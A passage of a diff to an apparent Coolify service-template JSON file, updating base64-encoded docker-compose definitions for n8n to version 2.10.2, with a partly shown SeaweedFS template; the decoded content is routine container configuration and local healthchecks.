zay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -2920,7 +2933,7 @@ "n8n-with-postgresql": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ044Tl9QUk9UT0NPTD0ke044Tl9QUk9UT0NPTDotaHR0cHN9JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEuNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUPSR7TjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUOi0xNX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIG44bgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1NjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ044Tl9SVU5ORVJTX1RBU0tfQlJPS0VSX1VSST0ke044Tl9SVU5ORVJTX1RBU0tfQlJPS0VSX1VSSTotaHR0cDovL244bjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", @@ -2938,7 +2951,7 @@ "n8n": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0RCX1NRTElURV9QT09MX1NJWkU9JHtEQl9TUUxJVEVfUE9PTF9TSVpFOi0yfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotMn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0ke1NFUlZJQ0VfUEFTU1dPUkRfTjhOfScKICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVEhfVE9LRU49JHtTRVJWSUNFX1BBU1NXT1JEX044Tn0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -4114,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKI